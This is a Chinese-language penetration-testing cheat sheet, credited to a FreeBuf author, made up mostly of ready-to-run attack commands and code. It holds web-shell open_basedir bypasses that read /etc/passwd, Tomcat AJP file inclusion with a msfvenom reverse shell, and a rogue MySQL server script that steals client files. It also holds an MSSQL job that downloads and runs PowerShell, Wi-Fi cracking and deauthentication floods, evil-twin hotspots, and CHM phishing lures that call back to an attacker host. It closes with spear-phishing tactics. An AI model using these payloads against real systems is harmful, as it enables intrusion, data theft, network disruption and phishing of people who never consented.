http://x.com/shell.php?a=if%20(%20$b%20=%20opendir(%22glob:///var/www/html/*.php%22)%20)%20{while%20(%20($file%20=%20readdir($b))%20!==%20false%20)%20{echo%20%22filename:%22.$file.%22\n%22;}closedir($b);}
第二种
http://x.com/shell.php?a=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system('cat ../../../../../etc/passwd');
http://x.com/shell.php?a=mkdir(%22/tmp/crispr%22);chdir(%27/tmp/crispr/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27))
第三种
命令执行绕过
读文件
?a=show_source('preload.php');
?a=echo(readfile('preload.php'));
?a=print_r(readfile('preload.php'));
?a=echo(file_get_contents('preload.php'));
?a=print_r(file_get_contents('preload.php'));

Tomcat Ajp LFI&RCE

LFI
https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
>python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass

RCE
>msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.107 LPORT=12138 R >/var/www/html/1.jpg
配合目标文件上传传入服务器

>java -jar ajpfuzzer_v0.6.jar
>connect 192.168.0.110 8009
>forwardrequest 2 "HTTP/1.1" "/index.jsp" 192.168.0.107 192.168.0.107 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:index.jsp","javax.servlet.include.path_info:/1.jpg","javax.servlet.include.servlet_path:/"

Mysql连接文件读取

https://github.com/Gifts/Rogue-MySql-Server
客户端必须启用LOCAL-INFILE 
客户端支持非SSL连接
目标web存在adminer等可检查数据库连接的脚本。
攻击机本地运行python构造假mysql服务，使用目标web连接，读取文件。
#coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3305))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

Mysql开启外连

>grant all privileges on user.* to [email protected]"%" identified by "[email protected]";

MSSQL&Agent Job上线

USE msdb; EXEC dbo.sp_add_job @job_name = N'syspolicy_purge_now' ; EXEC sp_add_jobstep @job_name = N'syspolicy_purge_now', @step_name = N'syspolicy_purge_step1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'syspolicy_purge_now '; EXEC dbo.sp_start_job N'syspolicy_purge_now ';
使用在注入点处，使用burp进行url编码，编码后前面加%20(空格URL编码)

DNSLog

http://ceye.io
http://www.dnslog.cn/

近源攻击

WI-FI破解

wifite

Kali下工具wifite，加载网卡，开启监听模式，#airmon-ng check kill
>airmon-ng start wlan1
安装hcxtools v4.2.0或更高版本，hcxdumptool v4.2.0或更高版本
>apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev
>git clone https://github.com/ZerBea/hcxtools
>cd hcxtools
>make
>make install 
>git clone https://github.com/ZerBea/hcxdumptool
>cd hcxdumptool
>make
>make install
>wifite –-dict /root/Desktop/wordlist.txt  加载

Aircrack-ng

>airmon-ng start wlan0 开启监听模式
>airodump-ng wlan0mon  查看数据包
>airodump-ng –c 1 –bssid APmac –w name wlan1mon保存某AP数据包
>aireplay-ng –deauth 10 –a APmac wlan0mon  deauth攻击
>aireplay-ng -0 2 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon deauth攻击某个设备直至获取handshake(握手包)
>airmon-ng stop wlan0mon  关闭监听模式
>aircrack-ng –w wordlist.txt name.cap 指定字典破解密码

钓鱼网络

Hostapd

>apt install hostapd dnsmasq
>cd /etc/hostapd
>vim open.conf 创建无加密热点
Interface=wlan1
Ssid=FreeWIFI
Driver=nl80211
Channel=1
Hw_mode=g>vim /etc/dnsmasq.conf
Dhcp-range=10.0.0.1, 10.0.0.255,12h
Interface=wlan1
>systemctl restart dnsmasq
消除网卡限制
>nmcli radio wifi off
>rfkill unblock wlan
>ifconfig wlan1 10.0.0.1/24
>hostapd open.conf
嗅探
>sysctl –w net.ipv4.ip_forward=1
>iptables –t nat –A POSTROUTING –o 网卡 –j MASQUERADE
>bettercap –iface wlan1
>net.show
>net.sniff on
>driftnet –i wlan1

Hostapd-wpe

>apt install hostapd-wpe
>vim /etc/hostapd-wpe/hostapd-wpe.conf
配置interface=wlan1
Ssid=
Channel=
证书修改
>cd /etc/hostapd-wpe/certs/
文件ca.cnf server.cnf client.cnf
修改countrName stateOrProvinceName localityName …….
>rm –rf *.pem *.der *.csr *.crt *.key *.p12 serial* index.txt*
>make clean
>./bootstrap
>make install
执行创建热点
>hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
获取到密码时使用asleep破解
>asleap –C Challenge值 –R response值 –W 字典文件

无线干扰

Beacon flood

需切换网卡为监听模式
>airmon-ng start wlan1
创建大量虚假热点Mdk3 mon0 b
>mdk3 wlan1mon b -f /root/wifi.txt -a -s 1500

Deauth flood

针对AP
>airmon-ng start wlan1
>aireplay-ng –deauth 10 –a AP’s mac address mon0
针对AP内设备
>airmon-ng start wlan1       将网卡置为监听模式
>airodump-ng wlan1mon –bssid 目标ap的ssid
>aireplay-ng -0 0 -a ap的ssid -c AP的ssid wlan0mon 开始攻击

Mdk3 destruction

针对范围内
>mdk3 wlan1mon d
针对AP
>airodump-ng wlan1mon
>mdk3 wlan1mon a -a APmac 发起攻击
黑名单
>mdk3 wlan1mon d –c 信道 –b /blacklist.txt.
>mdk3 wlan1mon  b -n test -w -g -c 1 -s 200

WiFi芯片esp8266

Mdk4

>mdk4 wlan0mon d

CVE-2018-4407

Scapy
send(IP(dst="192.168.1.132",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
Apple iOS 11及更早版本：所有设备（升级到iOS 12的部分设备）
Apple macOS High Sierra（受影响的最高版本为10.13.6）：所有设备（通过安全更新2018-001修复）
Apple macOS Sierra（受影响的最高版本为10.12.6）：所有设备（通过安全更新2018-005中修复）
Apple OS X El Capitan及更早版本：所有设备

绕过mac地址认证

Ifconfig

#ifconfig wlan1 down
#ifconfig wlan1 hw ether xx:xx:xx:xx:xx:xx
#ifconfig wlan1 up

Macchanger

#macchanger –m xx:xx:xx:xx:xx:xx wlan1
#macchanger –r wlan1

BadUSB

克隆卡

蓝牙

鱼叉式攻击

钓鱼邮件

假冒的内部域名
假冒的外部域名
近似域名
被黑账户
群发/特定发
虚构情景/恶意连接/恶意文件

CVE

CVE-2017-11882

Microsoft Office 2007 SP3 / 2010 SP2 / 2013 SP1 / 2016

CVE-2017-0199

Microsoft Office 2007 SP3 / 2010 SP2 / 2013 SP1 / 2016，Vista SP2，Server 2008 SP2，Windows 7 SP1，Windows 8.1

CVE-2012-0158

Microsoft Office 2003 SP3、2007 SP2和SP3，以及2010 Gold和SP1；Office 2003 Web组件SP3；SQL Server 2000 SP4、2005 SP4和2008 SP2，SP3和R2; BizTalk Server 2002 SP1；Commerce Server 2002 SP4、2007 SP2和2009 Gold和R2; Visual FoxPro 8.0 SP1和9.0 SP2; 和Visual Basic 6.0

CVE-2017-0143

Microsoft Windows Vista SP2；Windows Server 2008 SP2和R2 SP1; Windows 7 SP1；Windows 8.1; Windows Server 2012 Gold和R2；Windows RT 8.1；Windows 10 Gold，1511和1607；以及 和Windows Server 2016
OFFICE文档/ PDF文件

可执行文件

文档文件的伪造

扩展名/图标

捆绑

宏

0day

CHM

使用编译的HTML文件加载恶意代码。
使用EasyCHM对html进行编译，在html文件中插入恶意代码。
使用MSF生成powershell格式的web_delivery模块
使用Rundll32配合MyJSRAT实施运行无弹窗

把命令base编码避免特殊符号

执行语句编码后
>powershell -ep bypass -enc JABCAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKACQAQgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAQgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBFAFgAIAAkAEIALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADAANwA6ADgAMAA4ADAALwBQAEsAUQBOAEUAYgAnACkAOwAKAA==
通过JSRat执行powershell上线命令
https://github.com/Ridter/MyJSRat
>python MyJSRat.py -i 192.168.1.107 -p 8888 -c "powershell -ep bypass -enc JABCAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKACQAQgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAQgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBFAFgAIAAkAEIALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADAANwA6ADgAMAA4ADAALwBQAEsAUQBOAEUAYgAnACkAOwAKAA=="

访问http://ip/wtf复制利用语句到html文件后编译

<PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.0.107:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>

正常打开CHM文件，无弹窗上线。

钓鱼链接

URL跳转

结合恶意文档或程序

短URL

结合水坑攻击

相似域名

注册相似域名，使用拉丁字母，西里尔字母等字符。

域名窃取

第三方服务鱼叉

通过社交软件建立关系，如男女朋友，师父徒弟，HR，寻求业务等进行钓鱼攻击.

作者：jimmy520

原文地址：https://www.freebuf.com/articles/web/332811.html

声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

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